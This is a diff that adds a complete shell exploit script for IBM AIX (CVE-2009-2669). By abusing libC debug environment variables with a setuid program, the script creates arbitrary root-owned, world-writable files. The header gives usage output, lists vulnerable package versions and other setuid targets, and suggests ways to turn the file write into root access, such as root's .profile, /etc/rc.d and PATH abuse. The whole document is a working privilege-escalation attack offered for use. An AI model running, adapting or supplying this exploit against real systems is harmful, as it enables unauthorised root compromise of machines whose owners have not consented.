|
| 1 | +#!/bin/sh |
1 | 2 |
|
| 3 | +# |
| 4 | +# $Id: raptor_libC,v 1.2 2009/09/15 07:35:13 raptor Exp $ |
| 5 | +# |
| 6 | +# raptor_libC - AIX arbitrary file overwrite via libC debug |
| 7 | +# Copyright (c) 2009 Marco Ivaldi <[email protected]> |
| 8 | +# |
| 9 | +# Property of @ Mediaservice.net Srl Data Security Division |
| 10 | +# http://www.mediaservice.net/ http://lab.mediaservice.net/ |
| 11 | +# |
| 12 | +# *** DON'T RUN THIS UNLESS YOU KNOW WHAT YOU ARE DOING *** |
| 13 | +# |
| 14 | +# A certain debugging component in IBM AIX 5.3 and 6.1 does not properly handle |
| 15 | +# the (1) _LIB_INIT_DBG and (2) _LIB_INIT_DBG_FILE environment variables, which |
| 16 | +# allows local users to gain privileges by leveraging a setuid-root program to |
| 17 | +# create an arbitrary root-owned file with world-writable permissions, related |
| 18 | +# to libC.a (aka the XL C++ runtime library) in AIX 5.3 and libc.a in AIX 6.1 |
| 19 | +# (CVE-2009-2669). |
| 20 | +# |
| 21 | +# Typical privilege escalation techniques via arbitrary file creation don't |
| 22 | +# seem to work on recent AIX versions: .rhosts is ignored if it is group or |
| 23 | +# world writable; LIBPATH and LDR_PRELOAD have no effect for setuid binaries; |
| 24 | +# /var/spool/cron/atjobs seems useless as well, since we cannot open cron's |
| 25 | +# named pipe /var/adm/cron/FIFO; similarly, /root/.ssh/authorized_keys is not |
| 26 | +# usable, because of the permissions (700) usually set on the directory. Other |
| 27 | +# viable exploitation vectors that come to mind, depending on the target box |
| 28 | +# setup, are: /root/{.profile,.kshrc,...}, /etc/rc.d/, and PATH abuse. |
| 29 | +# |
| 30 | +# See also: http://milw0rm.com/exploits/9306 |
| 31 | +# |
| 32 | +# Usage: |
| 33 | +# $ uname -a |
| 34 | +# AIX rs6000 3 5 0052288E4C00 |
| 35 | +# $ lslpp -L xlC.rte | grep xlC.rte |
| 36 | +# xlC.rte 9.0.0.1 C F XL C/C++ Runtime |
| 37 | +# $ chmod +x raptor_libC |
| 38 | +# $ ./raptor_libC /bin/bobobobobob |
| 39 | +# [...] |
| 40 | +# -rw-rw-rw- 1 root staff 63 Sep 10 09:55 /bin/bobobobobob |
| 41 | +# |
| 42 | +# Vulnerable platforms (AIX 5.3): |
| 43 | +# xlC.rte < 8.0.0.0 [untested] |
| 44 | +# xlC.rte 8.0.0.0-8.0.0.14 [untested] |
| 45 | +# xlC.rte 9.0.0.0-9.0.0.9 [tested] |
| 46 | +# xlC.rte 10.1.0.0-10.1.0.2 [untested] |
| 47 | +# |
| 48 | +# Vulnerable platforms (AIX 6.1): |
| 49 | +# bos.rte.libc 6.1.0.0-6.1.0.11 [untested] |
| 50 | +# bos.rte.libc 6.1.1.0-6.1.1.6 [untested] |
| 51 | +# bos.rte.libc 6.1.2.0-6.1.2.5 [untested] |
| 52 | +# bos.rte.libc 6.1.3.0-6.1.3.2 [untested] |
| 53 | +# bos.adt.prof 6.1.0.0-6.1.0.10 [untested] |
| 54 | +# bos.adt.prof 6.1.1.0-6.1.1.5 [untested] |
| 55 | +# bos.adt.prof 6.1.2.0-6.1.2.4 [untested] |
| 56 | +# bos.adt.prof 6.1.3.0-6.1.3.1 [untested] |
| 57 | +# |
| 58 | + |
| 59 | +echo "raptor_libC - AIX arbitrary file overwrite via libC debug" |
| 60 | +echo "Copyright (c) 2009 Marco Ivaldi <[email protected]>" |
| 61 | +echo |
| 62 | + |
| 63 | +# check the arguments |
| 64 | +if [ -z "$1" ]; then |
| 65 | + echo "*** DON'T RUN THIS UNLESS YOU KNOW WHAT YOU ARE DOING ***" |
| 66 | + echo |
| 67 | + echo "Usage: $0 <filename>" |
| 68 | + echo |
| 69 | + exit |
| 70 | +fi |
| 71 | + |
| 72 | +# prepare the environment |
| 73 | +_LIB_INIT_DBG=1 |
| 74 | +_LIB_INIT_DBG_FILE=$1 |
| 75 | +export _LIB_INIT_DBG _LIB_INIT_DBG_FILE |
| 76 | + |
| 77 | +# gimme -rw-rw-rw-! |
| 78 | +umask 0 |
| 79 | + |
| 80 | +# setuid program linked to /usr/lib/libC.a |
| 81 | +/usr/dt/bin/dtappgather |
| 82 | + |
| 83 | +# other good setuid targets |
| 84 | +# /usr/dt/bin/dtprintinfo |
| 85 | +# /opt/IBMinvscout/bin/invscoutClient_VPD_Survey |
| 86 | + |
| 87 | +# check the created file |
| 88 | +ls -l $_LIB_INIT_DBG_FILE |
| 89 | +echo |
0 commit comments